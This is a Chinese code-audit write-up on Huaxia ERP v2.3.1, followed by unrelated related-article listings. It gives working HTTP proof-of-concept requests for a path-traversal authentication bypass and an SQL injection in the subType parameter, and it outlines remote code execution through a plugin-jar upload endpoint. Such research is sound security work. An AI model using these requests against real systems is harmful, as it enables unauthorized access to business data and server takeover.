某开源ERP最新版SQL与RCE的审计过程
文章首发于
https://forum.butian.net/share/134
前言
代码路径
https://gitee.com/jishenghua/JSH_ERP
软件版本
华夏ERP_v2.3.1
源码审计的流程都是一样,从外部输入点开始跟踪数据流,判断数据处理过程中是否存在一些常见的漏洞模式,比如外部数据直接拼接到SQL语句,就导致了SQL注入漏洞。
对于Web应用来说常见外部数据入口有
- Filter
- 处理Url请求的Controller
查找这些入口的方式有很多,比如查看系统配置文件(web.x ml),查看对应注解,或者先抓包找到想看的请求,然后根据字符串来进行定位。
找到入口后就是跟踪数据流,着重关注权限检查、数据过滤、以及平时积累的漏洞模式(XXE、SQL注入等)
认证绕过
系统存在一个 fliter,在 LogCostFilter 里面会检查 session 来判断用户是否登录,如果没有登录就会让他重定向到 login.html ,与漏洞相关代码如下
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
public class LogCostFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
O bject userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;
}
首先通过 getRequestURI 获取到请求 url,然后判断 session 中是否存在 user 属性,如果不为null,就表示已经登录了直接放行,否则会对 requestUrl 进行判断,如果包含 login.html、doc.html、register.html就表示不需要登录直接放行,但是这里使用的是 contains 方法,只要字符串里面带这些字符串即可通过校验
poc
GET /depotHead/login.html/../list?search=aaa&currentPage=1&pageSize=10&t=1618229175662 HTTP/1.1
Host: 192.168.245.1:9978
Accept: application/json, text/j avas cript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
X-Requested-With: x mlHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
使用上面请求即可访问到 /depotHead/list 对于的 controller.
sql注入
payload
GET /depotHead/login.html/../list?search=%7B%22type%22%3A%22%E5%85%B6%E5%AE%83%22%2C%22subType%22%3A%22%E9%87%87%E8%B4%AD%E8%AE%A2%E5%8D%95'%20or%20''%3D'%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%2222222222222222%22%2C%22depotIds%22%3A%22%22%7D&currentPage=1&pageSize=10&t=1618229175662 HTTP/1.1
Host: 192.168.245.1:9978
Accept: application/json, text/j avas cript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
X-Requested-With: x mlHttpRequest
Referer: http://192.168.245.1:9978/pages/bill/purchase_orders_list.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
处理函数时 getDepotHeadList

可以看到 subType 里面有注入的数据,继续跟进

selectByConditionDepotHead 应该是 配置mybatis 时需要的方法,安装 MyBatisCodeHelper-Pro 插件后点击方法左边的logo即可跳转到对应的x ml配置文件

可以看到配置文件使用 $ 对用户数据进行拼接,导致SQL注入

在分析过程中可以在 application.properties 里面增加配置,让 mybatis 打印出会执行的 sql 语句
logging.level.com.jsh.erp.datasource.mappers.*=debug
最后执行的 sql 语句如下
Execute SQL:SELECT COUNT(1) FROM (SELECT DISTINCT dh.* FROM jsh_depot_head dh LEFT JOIN jsh_depot_item di ON dh.Id = di.header_id AND ifnull(di.delete_flag, '0') != '1' LEFT JOIN jsh_material m ON di.material_id = m.Id AND ifnull(m.delete_Flag, '0') != '1' WHERE 1 = 1 AND dh.type = '其它' AND dh.sub_type = '采购订单' OR '' = '' AND (m.name LIKE '%22222222222222%' OR m.standard LIKE '%22222222222222%' OR m.model LIKE '%22222222222222%') AND ifnull(dh.delete_Flag, '0') != '1') tb
可以看到 sql 语句被注入成了恒等,所以会把所有数据返回。

RCE
软件有一个"隐藏"的Controller
/**
* 上传并安装插件。注意: 该操作只适用于生产环境
* @param multipartFile 上传文件 multipartFile
* @return 操作结果
*/
@PostMapping("/uploadInstallPluginJar")
public String install(@RequestParam("jarFile") MultipartFile multipartFile){
try {
if(pluginOperator.uploadPluginAndStart(multipartFile)){
return "install success";
} else {
return "install failure";
}
} catch (Exception e) {
e.printStackTrace();
return "install failure : " + e.getMessage();
}
}
用户可以上传一个符合格式的jar包到这个接口,这里就会通过 uploadPluginAndStart 上传并安装插件,插件的格式可以参考下面链接
https://gitee.com/starblues/springboot-plugin-f ramework-parent
需要额外注意的一点是,编译出来的demo插件,需要修改jar包的manifest文件,增加几个字段

在 DefinPlugin 类里面增加恶意代码,当插件加载后就会执行。

当前版本有一个限制,或者说该功能有bug,需要手动创建 plugins 目录(或者系统之前已经安装过插件)才能安装新插件到该目录。
某开源ERP最新版SQL与RCE的审计过程的更多相关文章
- 7款开源ERP系统比较
[网络转载] 现在有许多企业将ERP项目,在企 业中没有实施好,都归咎于软件产品不好.其实,这只是你们的借口.若想要将ERP软件真正与企业融合一体,首先得考虑企业的自身情况,再去选择适合的 ERP软件 ...
- [转载]7款开源ERP系统比较
现在有许多企业将ERP项目,在企 业中没有实施好,都归咎于软件产品不好.其实,这只是你们的借口.若想要将ERP软件真正与企业融合一体,首先得考虑企业的自身情况,再去选择适合的 ERP软件. 如果你的企 ...
- 2015十大顶级开源ERP系统点评
如今,企业资源规划(ERP)和客户关系管理(CRM)系统的必要性已经被各种组织和企业所认可:ERP和CRM能够直接为企业的业务效率和利润做出贡献. 但是随着今天企业商业形态的日趋多样化,互联网新经济的 ...
- 全球排名第一的开源ERP Odoo v12 最新一键安装体验版正式发布
引言 Odoo 12.0是目前全球Odoo社区最新推出的产品版本代号,该产品具有划时代的意义,增加了如互联网级的知识库网盘功能.工业互联网的IOT设备矩阵管控功能,全新的Python Sass前端引擎 ...
- 免费开源ERP Odoo实施指南 连载二:POSTGRESQL概述
PostgreSQL是Odoo支持的数据库.PostgreSQL是起源于大学的一个历史很长的开源数据库系统.包括美国航天局NASA.德国证券交易中心.中国的平安.腾讯的微信支付.阿里巴巴的阿里云都在用 ...
- 分享:10 大顶级开源 ERP 系统
10 大顶级开源 ERP 系统 企业资源规划(ERP)和客户关系管理(CRM)系统现在已经成为各种组织和企业的必需品,通过它们,可以轻松实现企业的信息数据标准化.系统运行集成化.业务流程合理化.绩效监 ...
- 十大开源ERP点评 献给深水区的中小企业和CIO们
原文地址:http://www.oschina.net/news/58437/top-10-erp-software 如今,企业资源规划(ERP)和客户关系管理(CRM)系统的必要性已经被各种组织和企 ...
- SpagoBI 和 开源ERP(iDempiere)整合入门
Created by 蓝色布鲁斯,QQ32876341,blog http://www.cnblogs.com/zzyan/ iDempiere官方中文wiki主页 http://wiki.idemp ...
- 我们是如何通过全球第一免费开源ERP Odoo做到项目100%交付
传统友商ERP的交付过程 一.先初步需求调研,后选型功能模块 传统友商ERP第一件事情先对客户方进行初步的调研,客户方无论说什么,友商听过算过,只关心你人数多少,有哪些人涉及到哪些模块,接着对模块进行 ...
- 全球第一免费开源ERP Odoo Ubuntu最佳开发环境独家首发分享
起源 近年来随着国内的互联网经济的快速腾飞,诞生了很多开源软件创造的市场价值以及企业价值神话,特别是对于企业ERP领域,一直以来都是高昂的国内外产品充实,国内的中小成长型企业越来越需要一套好看又能打, ...
随机推荐
- 2024 年 C# 高效开发:精选实用类库
前言 在平时开发中,好的类库能帮助我们快速实现功能,C#有很多封装好的类库. 本文将介绍一些2024年特别受欢迎的C#类库,并分析各自的优点让我们编程写代码变的更轻松.更快捷. 快来看一看有没有大家常 ...
- markdown公式关系符
- C#的类和对象,继承
/// 类与对象 /// 类和对象是面向编程的两个核心概念 /// 类:类是对一群具有相同特征的或者行为事物的统称 类 是图纸 /// 对象是由类创造出来的一个具体存在 可以直接使用 对象是图纸造出来 ...
- DDD实体和对象
实体 entity 标识符用来唯一定位一个对象,在数据库中我们一般用表的主键来实现标识符,主键和标识符的思考角度不同,就是 id 字段 : 实体:拥有唯一的标识符,标识符的值不会改变,而其他对象的状态 ...
- 关于自定义事件父子组件传值问题 $event
1.$event 是 vue 提供的特殊变量,用来表示原生的事件参数对象 event 1.1在原生事件中,$event是事件对象 可以点出来属性 2.在原生事件中,$event是事件对象,在自定义事件 ...
- day01-markdown学习
markdown学习 标题 两个#号 三级标题 四级标题 字体 hello world!两个*加粗 hello world!一个*斜体 hello world!三个*斜体加粗 hello world! ...
- Linux查看显卡 GPU信息
1.Linux查看显卡信息: 1.1查询显卡信息 lspci | grep -i vga 前边的序号 "04:00.0″是显卡的代号 ASPEED Technology, Inc. ASPE ...
- 黑客工具:Amass – 寻找子域
安装 所有信息都可以在 OWASP Amass 项目的 Github 页面上找到:https://github.com/OWASP/Amass.我们将一起完成安装过程,以便更快地部署. 转到发布页面并 ...
- Java中List 删除元素
在Java中,使用List时想要删除某个特定个元素怎么办?很好办!因为List接口有remove()这个方法,我们只需要调用remove()方法,就可以删除list中的某个元素.但是list自带的有一 ...
- 轻量级网络-MobileNetv1 论文解读
1.相关工作 标准卷积 分组卷积 从 Inception module 到 depthwise separable convolutions 2.MobileNets 结构 2.1,深度可分离卷积 D ...